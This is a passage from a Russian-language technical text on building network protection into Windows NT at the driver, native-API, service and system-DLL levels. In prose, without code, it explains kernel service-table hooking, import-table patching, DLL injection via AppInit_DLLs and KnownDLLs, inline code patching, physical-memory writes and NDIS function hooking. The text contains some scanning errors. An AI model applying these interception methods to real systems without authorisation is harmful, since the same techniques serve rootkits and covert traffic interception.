    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\NetworkProvi-der\order.

    В этом ключе содержится список имен провайдеров. Каждое имя соответствует некоторому сервису в ключе HKEY_LOCAL_MACHINE\System\CurrentControl-

    Set\Services\«HMfl провайдера», который должен создаваться при инсталляции сетевого провайдера.

    В книге автора Rajeev Negar «Windows NT File System Internals: A Developer's Guide» описаны функции, которые могут быть реализованы в DLL провайдера. Из них только одна функция, позволяющая пользователям узнать возможности сети, является обязательной.

    DLL сетевого провайдера вовлекает сетевой редиректор в обработку запроса, используя управляющие запросы к файловой системе (FSCTL) через функцию DeviceloControl(). Эти запросы передаются менеджером ввода/вывода редиректору в пакете IRP со значением кода основной функции IRP_MJ_FILE_SYSTEM_CONTROL.

    Ниже рассматриваются основные отличительные особенности драйверов файловых систем:
  • Первой особенностью драйверов файловых систем является то, что они находятся в вершине стека драйверов, и поэтому гарантированно вызываются в контексте потока, инициировавшего запрос. Эта особенность позволяет драйверам файловых систем манипулировать данными из адресного пространства инициатора запроса, а также осуществлять «быстрый» ввод/вывод (fast I/O), при котором диспетчер ввода/вывода вызывает драйвер файловой системы без использования пакетов запроса IRP, а с помощью определенной функции с параметрами, необходимыми для выполнения запроса драйвером файловой системы.

  • Учитывать эту особенность (заключающуюся в том, что запрос ввода/вывода должен передаваться драйверу файловой системы в контексте потока - инициатора запроса) необходимо также при разработке драйвера-фильтра, присоединяемого к драйверу файловой системы.
  • Следующая особенность драйвера файловой системы заключается в тесном взаимодействии с подсистемой виртуальной памяти, то есть с менеджером памяти и менеджером кеша. Для иллюстрации этого взаимодействия рассмотрим, упрощенно, «быстрый» запрос на чтение данных от диспетчера ввода/вывода к драйверу файловой системы. По этому запросу драйвер файловой системы вызывает диспетчер кэша, который в свою очередь копирует требуемые данные из системного кэша (если все необходимые данные там присутствуют) в пользовательский буфер. Если же не все требуемые данные присутствуют в кеше, то возникает ошибка страницы, в результате чего вовлекается диспетчер памяти для загрузки в память данных из файла на диске. Для этого он строит пакет запроса ввода/вывода IRP для получения данных с диска и передает этот IRP драйверу файловой системы. В результате данные будут прочитаны с диска в системный кэш, после чего диспетчер кеша скопирует данные из системного кэша в пользовательский буфер.

  • Файловые системы отвечают за обеспечение поддержки механизма кеширования данных и механизма файлов, проецируемых в память. Подсистема виртуальной памяти зависит от файловой системы, обеспечивающей поддержку страничных файлов, а

    Файловая система в свою очередь зависит от подсистемы виртуальной памяти, разме-щющей память, требуемую для выполнения запросов к файловой системе.
  • Кроме описанных выше взаимосвязей с подсистемой виртуальной памяти драйвер файловой системы очень тесно (в отличие, например, от драйвера физического устройства) взаимодействует с менеджером ввода/вывода и менеджером объектов, так как каждая файловая система в Windows NT отвечает за реализацию своей части системного пространства имен. При открытии файла диспетчер ввода/вывода вызывает диспетчер объектов, который просматривает свое пространство имен, до тех пор, пока не попадает в объект-устройство. После чего разрешением оставшейся части имени файла занимается соответствующий драйвер файловой системы в тесной взаимосвязи с менеджером ввода/вывода.

  • Несмотря на желание разработчиков ОС Windows NT поддерживать четкое разграничение между файловой системой и остальной частью ОС, постепенно эта граница размывалась, и все более и более скрытая функциональность проникала в систему, есное взаимодействие драйвера файловой системы с различными компонентами исполнительной системы: менеджеров ввода/вывода, менеджером объектов, менеджером памяти и менеджером кэша, естественно, отражается на сложности разработки обственного драйвера файловой системы.

    Примером реализации фильтра к драйверам файловой системы может служить рограмма FileMon, разработанная Mark Russinovich и Bruce Cogswell.



    Реализация защиты на уровне драйверов сетевых устройств

    Реализация защиты на уровне драйверов сетевых устройств

    Сюда входят драйверы сетевых карт, драйверы устройств, которым могут направляться сетевые запросы ввода/вывода (например, драйвер последовательного порта). Реализация защиты на этом уровне зависит от того, разработан ли драйвер устройства в соответствии со стандартом NDIS (то есть это NDIS драйвер сетевой карты локальной или глобальной сети), или же это драйвер устройства, управляемый пакетами IRP. В первом случае лучше всего перейти к реализации промежуточного драйвера, а во втором к реализации драйвера-фильтра. Также на этом уровне возможна реализация

    собственного драйвера устройства со встроенными функциями защиты, так как разработка подобных драйверов хорошо документирована в Windows NT DDK.

    Разработка собственных драйверов сетевых карт глобальных и локальных сетей, поддерживаемых интерфейсом NDIS, хорошо документирована в DDK в главе Network drivers, в части Miniport NIC drivers и имеется ряд примеров в DDK\src\network. Если же сетевое устройство не является сетевой картой, то можно воспользоваться общими рекомендациями по разработке драйверов устройств в главе Kernel-mode drivers.

    В случае разработки драйверов-фильтров, присоединенных к драйверам устройств, не являющимся сетевыми картами, необходимо знать все типы пакетов IRP и все возможные управляющие коды в пакетах IRP_MJ_DEVICE_ CONTROL, используемые для взаимодействия вышележащих драйверов с драйвером устройства.




    Реализация защиты на уровне приложений и собственных DLL

    Реализация защиты на уровне приложений и собственных DLL

    Разработка приложений или DLL с функциями защиты - это самая тривиальная и обеспечивающая наименьшую гибкость реализация. Защита на уровне приложения не является прозрачной, в этом случае пользователь должен сам решать, нужно ли защищать его данные перед отправкой в сеть.

    При запуске приложения создается новый процесс, адресное пространство которого защищено от других процессов. Поэтому приложение может защищать только свои данные.

    Для того чтобы данные других приложений могли обрабатываться приложением, реализующим защиту этих данных, должны использоваться специальные механизмы межпроцессной коммуникации: копирование данных из одного адресного пространства в другое или создание области совместно используемой памяти, видимой из обоих адресных пространств. Следовательно, приложение, данные которого необходимо защитить, должно быть разработано для взаимодействия с приложением, защищающим его данные, с использованием этих механизмов. Но оно не обязано знать о существовании какой-либо системы защиты.

    Реализация защиты на уровне собственной DLL также не обеспечивает прозрачной защиты. Для того чтобы защиту данных приложений выполняла некоторая библиотека DLL, необходимо, чтобы приложения были разработаны так, чтобы вызывать функции из этой DLL. После того, как исполняемый код DLL спроецируется на адресное пространство вызывающего процесса (при помощи неявной компоновки при загрузке приложения, или явной - в период выполнения), код и данные DLL просто становятся частью процесса приложения.

    Уровень приложений и собственных DLL не имеет всех возможностей по реализа-циичфункций защиты сетевых ресурсов. Интерфейсы API, предоставляемые операционной системой приложениям и DLLs, не позволяют им выполнять пассивный или активный мониторинг сетевых пакетов или контролировать доступ к сетевым системным DLL и сетевым сервисам. Единственное, что они могут - это зашифровывать собственные данные перед отправкой их в сеть и расшифровывать после получения их из сети для предоставления пользователю. Только лишь во взаимодействии с собственным драйвером приложение может стать мощным средством защиты, причем в некоторых случаях приложению приходится использовать недокументированные методы.




    Реализация защиты на уровне «родного» API для ОС Windows NT

    Реализация защиты на уровне «родного» API для ОС Windows NT

    Один из способов обеспечения прозрачной защиты связан с заменой механизма предоставления функций «родного» API. Как уже рассматривалось в главе «Общая архитектура Windows NT», системные сервисы могут быть предоставлены коду пользовательского режима посредством использования библиотеки ntdll.dll. В ntdll.dll вызов системных сервисов происходит с помощью программного прерывания int 2E. После чего обработчик прерывания для вызова соответствующего системного сервиса использует таблицу распределения системных сервисов (KeServiceDescriptorTable), экспортируемую ntoskrnl.exe (ядро и исполнительная система). Структура этой таблицы следующая:
  • 1. указатель на массив, содержащий 4-х байтовые адреса точек входа системных сервисов в ntoskrnl.exe (4 байта);

  • 2. 00000000 (4 байта);

  • 3. количество системных сервисов (4 байта);

  • 4. указатель на массив, содержащий однобайтовые значения, определяющие сколько байт надо извлечь из стека режима пользователя, содержащего параметры функции (4 байта).

  • Зная индексный номер функции, реализующей системный сервис, можно по таблице определить адрес ее начала и заменить его на адрес начала собственного обработчика режима ядра. После исполнения собственного обработчика необходимо передать управление по старому адресу, чтобы дать возможность стандартному обработчику выполнить запрошенные действия.

    Так как эта таблица находится в системной области памяти, то такая замена может выполняться только кодом режима ядра (например, драйвером).

    Примером подобного средства защиты может служить программный продукт RegMon for Windows NT, выполняющий перехват системных сервисов, реализующих обращение к реестру Windows NT.





    Реализация защиты на уровне сетевого драйвера промежуточного уровня, поддерживающего интерфейс NDIS

    Реализация защиты на уровне сетевого драйвера промежуточного уровня, поддерживающего интерфейс NDIS

    Разработка NDIS драйверов промежуточного уровня - это один из хорошо документированных механизмов расширения возможностей системы ввода/вывода ОС Windows NT. Библиотека NDIS является очень мощным средством, используемым для разработки драйверов сетевых карт глобальных и локальных сетей и промежуточных драйверов. С использованием библиотеки NDIS можно реализовать промежуточные драйверы, служащие самым разным целям, включая фильтрацию и шифрование пакетов. Промежуточные драйверы хорошо документированы в Windows NT DDK в главе Network drivers, в части Intermediate NDIS drivers and TDI drivers. Имеется пример промежуточного драйвера packet в DDK\src\ network\packet\driver. Типичные варианты реализации промежуточного драйвера рассмотрены на Рисунок 27.

    Реализация защиты на уровне сетевых сервисов

    Реализация защиты на уровне сетевых сервисов

    Почти все сетевые сервисы, такие как сервис рабочей станции (LanMan Workstation), сервис сервера (LanMan Server), сервис оповещений (alerter), сервис сообщений (messenger), обозреватель сети (Computer Browser), DHCP client содержатся в одном ЕХЕ-файле с именем services. Остальные исполняются в собственных процессах, например, wins.exe (WINS SERVER), dns.exe (Domain Name System (DNS) Server), rpcss.exe (RFC and Distribute COM Services), locator.exe (RFC locator), nddeagnt.exe (Network DDE Agent), tapisrv.exe (Microsoft Windows Telephony Server), rassrv.exe (Remote Access Server Supervisor).

    Сетевой сервис - это серверный процесс. Некоторые сетевые сервисы выполняются в фоновом режиме, в то время как другие предоставляют API через соответствующие DLLs клиентской стороны, например: 1) tapi32.dll (Microsoft Windows Telephony API Client DLL) предоставляет приложениям взаимодействие с tapisrv.exe; 2) библиотека rassapi.dll (Remote Access Admin APIs dll) может использоваться приложениями для конфигурирования RAS сервера (rassrv.exe); 3) библиотека netapi32.dll (Net Win32 API DLL) используется приложениями для взаимодействия с browser, workstation, server, alerter, messenger, replicator; и т.д.

    Сервисы, имеющие собственные API, для обмена данными со своими клиентами обычно используют механизм RPC. При этом для реализации RPC-запросов между процессами, исполняющимися на одной машине, в действительности используется механизм LPC.

    Если клиентский процесс и процесс сетевого сервиса не находятся на одном компьютере, то контролировать передачу данных между этими процессами можно с помощью вмешательства в исполнение функций библиотеки rpcrt4.dll. Этот метод был подробно описан выше.

    Чтобы контролировать передачу данных между клиентским процессом и процессом сетевого сервиса, исполняющимися на одной машине, нужно вмешаться в механизм LPC. В общих чертах он выглядит следующим образом: после, того как клиентский запрос к сервису перехватится заглушкой в DLL клиентского процесса, эта заглушка упакует параметры вызова, необходимые процедуре сервиса. Затем LPC обеспечит механизм передачи данных клиентского процесса процессу сетевого сервиса с помощью разделяемой памяти или с помощью посылки сообщения в очередь сообщений. Затем после того как процедура сервиса выполнит необходимую обработку, LPC возвратит результаты обработки обратно клиентскому процессу с помощью тех же механизмов.

    LPC при своей работе создает и использует объекты-порты (port object), которые в качестве атрибутов имеют описатель секции (описатель совместно используемой памяти) и указатель на очередь сообщений. Объект-порт ассоциируется с серверным процессом и обеспечивает выполнение сервисов для клиентского процесса. Объект-порт как бы представляет канал для передачи сообщений между клиентским и серверным процессами. Серверный процесс определяет для связи с собой именованный объект-порт (порт соединения), а когда клиентский процесс свяжется с этим именованным портом, серверный процесс создаст два неименованных объекта-порта (порты связи) для взаимодействия.

    API, необходимое для получения доступа к сервисам LPC, не документировано. Скорее всего, заглушка в клиентской DLL получает обслуживание LPC через прерывание int 2E с помощью вызова функций NtlmpersonateClientOfPort, NtAccept ConnectPort, NtCompleteConnectPort, NtCreatePort, NtReplyWaitReceive Port, NtReplyWaitReplyPort, NtRequestPort, NtConnectPort, NtReplyPort, NtRequest WaitReplyPort и т.п., предоставляемых библиотекой ntdll.dll. В результате чего обработчик прерывания 2Е (диспетчер системных сервисов) использует таблицу распределения системных сервисов (KeServiceDescriptorTable) для вызова соответствующих сервисов LPC из ntoskrnl.exe. Следовательно, для перехвата обращений к сервису LPC, можно воспользоваться методом перехвата обращений к системным сервисам, который будет рассмотрен ниже. Тем самым будет получен доступ к данным, передаваемым от клиентских процессов серверным процессам, в том числе и процессам сетевых сервисов.




    Реализация защиты на уровне системных DLL, предоставляющих приложениям различные сетевые интерфейсы

    Реализация защиты на уровне системных DLL, предоставляющих приложениям различные сетевые интерфейсы

    К этим DLLs относятся, в первую очередь, следующие библиотеки DLLs сетевых интерфейсов:
  • 1. Netapi32.dll (Net Win32 API DLL), предоставляющая интерфейс NetBIOS и Net-функции.

    2. Ws2_32.dll (Windows Socket 2.0 32-Bit DLL), msafd.dll (Microsoft Windows Sockets 2.0 Service Provider), wsock32.dll (Windows Socket 32-Bit DLL), являющиеся DLLs интерфейса Windows Sockets.

    3. Mpr.dll (Multiple Provider Router DLL), предоставляющая сетевой интерфейс Win32 (WNet), и реализующая функции маршрутизатора многосетевого доступа.

    4. Kernel32.dll (Windows NT BASE API Client DLL) - DLL API ввода/вывода Win32, эта библиотека предоставляет стандартные функции, такие как функции открытия, закрытия, чтения, записи и т.п. Если файл, именованный канал, почтовый ящик, устройство, к которым обращены запросы в этих функциях, находятся на удаленной машине, то эти запросы пройдут по сети.

    5. Wininet.dll (Internet Extensions for Win32), реализующая функции передачи HTTP запросов, навигации файлов по протоколу FTP, функции удаленного доступа в Internet, URL (Uniform Resource Еоса1ог)-функции и т.п.

    6. Rpcrt4.dll (Remote Procedure Call Runtime), реализующая вызовы удаленных процедур.

    7. Rasapi32.dll (Remote Access API), обеспечивающая приложениям удаленный доступ.

    8. Nddeapi.dll (Network DDE Share Management APIs) и ddeml.dll (DDE management library), реализующие динамический обмен данными по сети.

    9. Tapi32.dll (Microsoft Windows Telephony API Client DLL), предоставляющая приложениям телефонные сервисы.

    10. Dlcapi.dll (DLC APIs), обеспечивающая взаимодействие по протоколу DLC.

    11. Wsnmp32.dll (Microsoft WinSNMP Manager API DLL), mgmtapi.dll (Microsoft SNMP Management API DLL), snmpapi.dll (SNMP utilities DLL), используемые SNMP-приложениями.

  • Прежде чем перейти к рассмотрению возможностей реализации защиты на уровне этих DLL, ниже будет представлен процесс загрузки ЕХЕ-файла. При запуске ЕХЕ-файла загрузчик операционной системы выполняет следующие действия:
  • 1. Отыскивает ЕХЕ-файл, создает новый объект-процесс, создает адресное пространство нового процесса размером 4 Гб. Резервирует регион адресного пространства - такой, чтобы в него поместился заданный ЕХЕ-файл. Желаемое расположение этого региона указывается внутри самого ЕХЕ-файла. По умолчанию базовый адрес ЕХЕ-файла - 0x00400000 (но при компоновке это значение может быть изменено). И отмечает, что физическая память, увязанная с зарезервированным регионом, - ЕХЕ-файл на диске.

    2. Затем загрузчик просматривает таблицу импорта, содержащуюся в этом файле, и пытается найти и спроецировать на адресное пространство нового процесса все необходимые DLLs. Желаемое расположение региона адресного пространства, куда будет спроецирована конкретная DLL, указывается внутри самого DLL-файла, по умолчанию базовый адрес DLL-файла - 0x10000000. Но у всех стандартных системных DLL модулей (в том числе и вышеперечисленных), входящих в комплект поставки Windows NT, разные базовые адреса. Затем загрузчик отмечает, что физическая память, увязанная с зарезервированным регионом, - DLL-файл на диске.

    3. Затем загрузчик сохраняет адреса импортируемых идентификаторов (функций и переменных), используемых ЕХЕ-файлом, в особой таблице адресов импорта (Import Address Table). Всякий раз, когда приложение ссылается на один из таких идентификаторов, сгенерированный компилятором код выбирает его адрес из таблицы и предоставляет необходимую связь.

  • Приведенная выше схема загрузки и исполнения функций DLL-файла позволяет реализовать защиту на уровне системных сетевых DLLs следующими способами:
  • Первый способ связан с использованием таблиц адресов импорта (Import Address Table). Для того чтобы найти эту таблицу, нужно сначала найти по сигнатуре «.idata» в таблице секций, располагающейся после заголовка файла, описание секции .idata. Секция .idata содержит информацию о функциях и данных, импортируемых приложением из DLLs. В описании этой секции есть поле, содержащее виртуальный адрес, по которому загрузчик отобразил секцию .idata. Содержимое этой секции начинается с массива структур, по одной структуре, содержащей пять элементов, на каждую DLL. Первый элемент каждой структуры указывает на таблицу имен функций, четвертый является указателем на имя DLL, а пятый указывает на таблицу адресов функций. Найдя по таблице имен функций имя нужной функции, можно узнать ее адрес в соответствующем элементе таблицы адресов функций, и затем заменить этот адрес на адрес собственного обработчика. Собственный обработчик может располагаться в собственной DLL. После завершения необходимой обработки нужно перейти по сохраненному первоначальному адресу импортируемой функции. Для того чтобы собственная DLL загружалась в адресное пространство любого процесса GUI-приложения, нужно в реестре в ключе HKEY_ LOCAL_MACHINE\ SYSTEM\ Software\ Microsoft WindowsNT\ CurrentVersion \ Windows\APPINIT_DLLS включить имя этой DLL.

    В этом способе нужно менять таблицы адресов импорта во всех процессах приложений, использующих системные DLLs. Но обычно процессов в системе не так уж много (несколько десятков). Можно разработать приложение, которое будет получать описатели объектов-процессов, соответствующих защищаемым приложениям, а затем осуществлять чтение и запись в их виртуальные адресные пространства, с помощью функций ReadProssMem() и WriteProssMem().

    Секция .idata имеет атрибут «для чтения и записи», поэтому запись в нее возможна.

  • Второй способ - создание собственной DLL, в которой необходимо заменить только часть функций, непосредственно через которые проходят данные пользователя. Имена этих новых функций должны быть сохранены. При этом новая DLL должна иметь то же имя. Или же в ключе реестра HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ KnownDLLs должна быть строка: «имя заменяемой DLL без расширения» «имя собственной DLL с расширением dll», тогда система загружает вместо первоначальной DLL собственную библиотеку DLL из каталога, указанного в параметре реестра DllDirectory.

    Так как все системные DLL имеют определенные базовые адреса, по которым они проецируются в адресное пространство процесса приложения, то преобразованная DLL не должна перекрывать базовый адрес другой системной DLL.

  • Третий способ основан на изменении части кода функций (необязательно начальной) вышеперечисленных DLL так, чтобы передать управление (с помощью команд call или jmp) собственному коду, реализующему необходимые функции по защите. Этот собственный код может содержаться в собственной DLL. Это изменение может происходить до загрузки DLL (исправляя DLL-файл во время загрузки ОС с помощью приложения-сервиса), или же можно модифицировать функции DLL после того, как DLL загружена. Этот способ основан на том, что все эыполняемые приложения, импортирующие функции некоторой DLL, совместно используют один и тот же код этой DLL, загруженный в оперативную память. И если страницы, содержащие код DLL, изменить, то это изменение коснется всех приложений.

  • Для реализации этого способа нужно разработать собственное приложение (или сервис), которое будет подгружать системные DLLs в свое адресное пространство. В этом приложении нужно получить адрес начала кода требуемой функции (например, с помощью функции GetProcAddress(«HMfl функции»)). Затем в том случае, если команда перехода будет находить не в самом начале, вычислить адрес кода, который будет перезаписан командой перехода, и по этому адресу осуществить запись инструкции JMP или CALL на адрес собственного обработчика, при этом надо сохранить перезаписываемые инструкции.

    Но запись в секцию кода не так-то просто осуществить, так как эта секция является исполняемой и предназначена для чтения. Один из способов решения этой проблемы состоит в отображении физического адреса, соответствующего виртуальному адресу региона с кодом на другой регион, в который запись разрешена, и затем осуществить в него запись нужных инструкций. (Получится, что двум разным регионам виртуального пространства соответствует одна и та же физическая память). Но подобные махинации можно проводить только в драйвере, следовательно, для реализации защиты потребуется разработка драйвера. Возможно, что можно обойтись и без драйвера, воспользовавшись тем, что физическая память в ОС Windows NT представляется объектом-секцией, содержащимся в пространстве имен диспетчера объектов под именем \Device\PhysicalMemory. Приложение может спроецировать физическую память в свое адресное пространство и затем манипулировать ее содержимым.

    Несмотря на то, что вышеперечисленные способы реализации защиты на уровне системных DLLs, кажутся довольно надуманными и неосуществимыми, подобные программные продукты все же существуют, например PRUDENS SPY product series, реализует технологию перехвата вызовов любых DLLs, в том числе и системных.



    Реализация защиты на уровне транспортного драйвера

    Реализация защиты на уровне транспортного драйвера

    Транспортные драйверы являются, фактически, стандартными драйверами про-[ежуточного уровня и реализуют в своей верхней части стандартный интерфейс, со-тветствующий TDI спецификации. Этот интерфейс в основном базируется на полу-ении и обработке пакетов IRP_MJ_INTERNAL_DEVICE_CONTROL, содержащих различные значения контрольных кодов TDI_XXX, определяемых TDI спецификаци-й. В своей нижней части TDI драйвер взаимодействует с NDIS библиотекой.

    Разработка драйверов транспорта хорошо документирована в Windows NT DDK в паве Network drivers, в части Intermediate NDIS drivers and TDI drivers. Имеется при-юр транспортного драйвера в DDK\src\network\tdi.

    Можно также реализовать драйвер-фильтр, который будет присоединяться к объек-ам-устройствам, создаваемым драйвером транспорта. Например, к объектам-устрой-твам \Device\Tcp и \Device\Udp, создаваемым драйвером транспорта TCP/IP.

    В связи с тем, что драйвер транспорта должен предоставлять единый, хорошо до-ументированный интерфейс, облегчается задача его разработки. Вместе с тем, TDI-штерфейс является расширяемым интерфейсом, так как:
  • TDI предоставляет возможность расширения множества операций, позволяющих взаимодействовать TDI-клиенту с определенным транспортом, в том числе и операций, связанных с управлением и конфигурацией.

  • TDI предоставляет гибкую схему адресации, позволяющую определять и использовать множество форматов адресов.

  • TDI определяет механизм, с помощью которого драйвер транспорта может сигнализировать клиенту об интересующих клиента событиях, произошедших в сети (без предварительного запроса от клиента). Это происходит с помощью вызова драйвером транспорта функций, указатели на которые передаются TDI-клиентом драйверу транспорта в самом начале сетевых операций в пакете IRP_MJ_INTERNAL_DEVICE_ CONTROL с контрольным кодом TDI_SET_ EVENTJHANDLER, и регистрируются драйвером транспорта. TDI-клиент даже может использовать подобный механизм функций обратного вызова в качестве альтернативы обычным пакетам запросов к транспорту с контрольными кодами TDI_XXX. Когда драйвер транспорта вызывает подобную функцию, он может передать TDI-клиенту в качестве параметров некоторое ограниченное количество данных. При этом, если существует драйвер-фильтр, присоединенный к драйверу транспорта, то он не получит возможности проконтролировать эти данные.

  • Подобное свойство расширения возможностей взаимодействия клиента с определенным драйвером транспорта приводит к частичной закрытости интерфейса между ними. В результате чего сильно затрудняется разработка драйвера-фильтра, присоединяемого к транспортному драйверу, как и в случае с драйверами файловых систем.

    В то же время сохраняется возможность разработки собственного драйвера транспорта с использованием документации DDK, который будет реализовать требуемые функции защиты.



    Реализация защиты с помощью перехвата функций NDIS - библиотеки

    Реализация защиты с помощью перехвата функций NDIS - библиотеки

    Этот метод является трудоемким, совершенно не документированным, но в то же время чрезвычайно эффективным.

    Реализация этого метода позволяет создать как бы оболочку над самой библиотекой NDIS. Этот метод аналогичен методу перехвата системных сервисов. В данном случае заменяются адреса необходимых функций библиотеки NDIS, в результате чего можно получить контроль над всеми сетевыми операциями в системе.

    Рассмотрим упрощенно, какие NDIS-функции вызываются во время загрузки сетевых драйверов. Сначала инициализируется драйвер сетевой карты, при этом для него вызывается функция NdisMInitializeWrapper, предупреждающая NDIS о том, что инициализируется новый минипорт (драйвер сетевой карты). Затем вызывается функция NdisMRegisterMiniport, которая регистрирует точки входа MiniportAjcx минипорта для NDIS-библиотеки. Далее вызывается точка входа в драйвере сетевой карты Miniportlnitialize, которая готовит реальную или виртуальную сетевую карту для выполнения сетевых операций ввода/вывода, запрашивает все аппаратные ресурсы, необходимые сетевой карте, и размещает ресурсы, необходимые драйверу для выполнения сетевых операций ввода/вывода.

    Затем начинают инициализироваться драйверы протоколов TCP/IP, NETBEUI, IPX/ SPX и т.д. Для каждого из них вызывается функция NdisRegisterProtocol, которая регистрирует точки входа ProtocoLAjcc драйвера и имя протокола для библиотеки NDIS.

    После инициализации драйвера протокола и драйвера сетевой карты вызывается функция NdisOpenAdapter, которая устанавливает связь между вызвавшим эту функцию протоколом и определенным нижележащим драйвером сетевой карты или промежуточным драйвером. А затем уже начинается обмен пакетами между драйвером протокола и драйвером сетевой карты.

    Из приведенного выше процесса инициализации сетевых драйверов видно, что, перехватив вызовы таких функций как NdisMInitializeWrapper, NdisMRegisterMiniport, NdisRegisterProtocol, NdisOpenAdapter, можно отследить загрузку сетевого драйвера, и установить адреса своих обработчиков для точек входа MiniportXxx-процедур (например, Miniportlnitialize, MiniportQuery Information, MiniportSetlnformation, MiniportSend, MiniportSendPackets, MiniportTransferData и т.д.) и для точек входа ProtocolXxx-процедур (например, ProtocolBindAdapter, ProtocolReceive, Protocol ReceiveComplete, ProtocolSend Complete, ProtocolTransferDataComplete, ProtocolStatus, ProtocolPnPEvent, ProtocolReceiyePacket, ProtocolUnbindAdapter, ProtocolUnload и т.д.), а затем контролировать все сетевые операции ввода/вывода, проходящие через него.

    Важно, чтобы ваш драйвер, который должен заменить адреса NDIS-функций в таблице экспорта библиотеки NDIS на адреса собственных обработчиков, загружался сразу после загрузки драйвера Ndis.sys. Иначе, к моменту загрузки вашего драйвера может уже произойти инициализация некоторых сетевых драйверов.




    В первых двух случаях

    Рисунок .27

    В первых двух случаях

    В первых двух случаях промежуточный драйвер выглядит для драйвера транспорта как драйвер виртуальной сетевой карты. Используя механизм привязок можно все транспорты привязать снизу к требуемому промежуточному драйверу, который таким образом получит возможность контролировать все пакеты, идущие в/из сети. Это позволит ему реализовать функции защиты типа: преобразования форматов пакетов, преобразования пользовательских данных в пакетах, фильтрации пакетов, регистрации пакетов, контроля содержимого пакетов и т.п.

    Во втором случае NDIS драйвер промежуточного уровня будет взаимодействовать посредством использования пакетов IRP с драйвером устройства, не являющимся сетевой картой (следовательно, этот драйвер устройства не поддерживается интерфейсом NDIS, им может быть, например, драйвер последовательного устройства). Подобные NDIS драйверы промежуточного уровня поставляются с Windows NT, например asyncmac.sys, взаимодействующий с драйвером последовательного порта. Поэтому необходимость в их реализации возникает только в случае разработки собственного сетевого устройства (но тогда придется разрабатывать и драйвер этого устройства, куда можно встроить функции защиты), или в случае, когда необходимо полностью заменить встроенный драйвер (но в этом случае лучше реализовать драйвер-фильтр, присоединенный к драйверу устройства).

    Третий случай соответствует случаю реализации драйвера транспорта, рассмотренного выше.

    Во всех этих случаях промежуточный драйвер может реализовать в свой верхней части закрытый интерфейс, посредством использования пакетов IRP с вышележащим драйвером или приложением. (Для подобного взаимодействия вышележащий драйвер или приложение должны открыть устройство, созданное промежуточным драйвером.) Этот механизм используется в сетевых анализаторах, являющихся программными комплексами, состоящими из приложения и драйвера.

    В DDK подробно описано, какие функции интерфейсов верхнего и нижнего уровней промежуточный драйвер должен регистрировать обязательно, а какие по желанию разработчика. Благодаря таким четко оговоренным правилам взаимодействия посредством использования библиотеки NDIS, встраивание промежуточного драйвера между драйвером транспорта, поддерживающим интерфейс NDIS в своей нижней части, и NDIS драйвером сетевой карты не приводит к нарушению работы стека сетевых драйверов.

    Промежуточный драйвер, расположенный над драйвером сетевой карты, фактически эквивалентен драйверу-фильтру, присоединенному к драйверу физического устройства. Только последний встраивается в цепь драйверов, взаимодействующих посредством пакетов IRP.

    Надо отметить, что драйвер ndiswan.sys сам по себе является промежуточным драйвером, поставляемым Microsoft, и участвующим в поддержке взаимодействия по глобальным сетям типа ISDN, FR, Switched 56. Драйвер ndiswan.sys во взаимодействии с ndistapi.sys может служить провайдером сервисов TAPI. Для того чтобы контролировать трафик на уровне этих драйверов, необязательно заменять их собственными аналогами со встроенными функциями защиты, можно создать промежуточный драйвер, реализующий функции защиты, и расположить его выше или ниже этих драйверов.

    Промежуточные драйверы являются неотъемлемой частью многих систем защиты сетевых ресурсов, реализующих пассивный мониторинг сетевых пакетов. Примером такой системы безопасности может служить программный анализатор сетевого трафика Microsoft Network Monitor. Также подобные драйверы являются частью многих систем безопасности, выполняющих фильтрацию и шифрование сетевого трафика, например, Guardian Windows NT Firewall.


    Структура NDIS-пакета и NDIS-буфера

    Рисунок . 28. Структура NDIS-пакета и NDIS-буфера

    Структура NDIS-пакета и NDIS-буфера



    Расположение промежуточных NDIS-драйверов

    Рисунок . 29. Расположение промежуточных NDIS-драйверов

    Расположение промежуточных NDIS-драйверов





    Расположение драйвера шифрования

    Рисунок . 30. Расположение драйвера шифрования

    Расположение драйвера шифрования

    Как уже отмечалось выше, спецификация NDIS позволяет добавлять заголовки (или хвост) к NDIS-пакету без необходимости его перекопирования, во время передачи пакета по стеку сетевых драйверов. Таким образом, промежуточный драйвер шифрования может зашифровать пакеты двумя способами:
  • 1. Путем модификации исходного NDIS-пакета, переданного драйвером транспорта, с добавлением к нему (при необходимости) новых NDIS- буферов.

  • 2. Путем создания собственного NDIS-пакета копированием в него исходного NDIS-пакета, переданного драйвером транспорта, а затем уже модификации собственного пакета.

  • Первый способ использовать не рекомендуется, так как он чреват ошибками из-за использования библиотекой NDIS зарезервированных областей в пакете (при этом они будут перезаписываться). Но в простейших случаях этот способ работает.

    При реализации первого способа важно помнить, что после завершения операции отправки зашифрованного пакета в сеть, в функции ProtocolSendComplete перед возвращением описателя пакета драйверу транспорта необходимо преобразовать пакет в исходное состояние. То есть расшифровать его и отделить все добавленные NDIS-бу-фера.

    Драйвер может осуществлять зашифрование всех данных пакета, кроме Ethernet и IP-заголовков, IP-заголовок, при этом, можно создать свой, а первоначальный зашифровать.

    Ключ шифрования обычно передается в драйвер шифрования из кода пользовательского режима (библиотеки DLL или приложения) с помощью вызова функции DeviceloControl. Обмен ключами между компьютерами можно, например, осуществить по схеме ISAKMP/Oakley, реализовав приложение (или библиотеку DLL), использующее интерфейс API WinSocket.

    Если зашифрованный пакет имеет длину большую, чем первоначальный пакет, то для того, чтобы драйвер протокола не мог послать пакет такой длиной, что после добавления к нему необходимого числа байт промежуточным драйвером, драйвер сетевой карты (или сама сетевая карта) обрезал бы его (например, если длина преобразованного пакета вместе с Ethernet заголовком - 1514 байт), то при обработке запроса от драйвера протокола на максимально возможную длину пакета, значение, которое в действительности получено от драйвера сетевой карты, уменьшается на необходимое число байт.

    Для определения функций, в код которых необходимо вставить зашифрование или расшифрование, рассмотрим функции интерфейсов нижнего и верхнего уровней, поддерживаемые средой NDIS, которые участвуют в приеме и отправлении пакетов, и через которые эти пакеты проходят непосредственно:

    Отправление:

  • 1. MiniportSendPackets;

    2. MiniportSend;

    3. ProtocolSendComplete.


  • Получение:

  • 1. ProtocolReceive;

    2. ProtocolReceivePacket;

    3. ProtocolTransferDataComplete;

    4. MiniportReturnPacket;

    5. MiniportTransferData.


  • Рассмотрим эти функции подробнее:

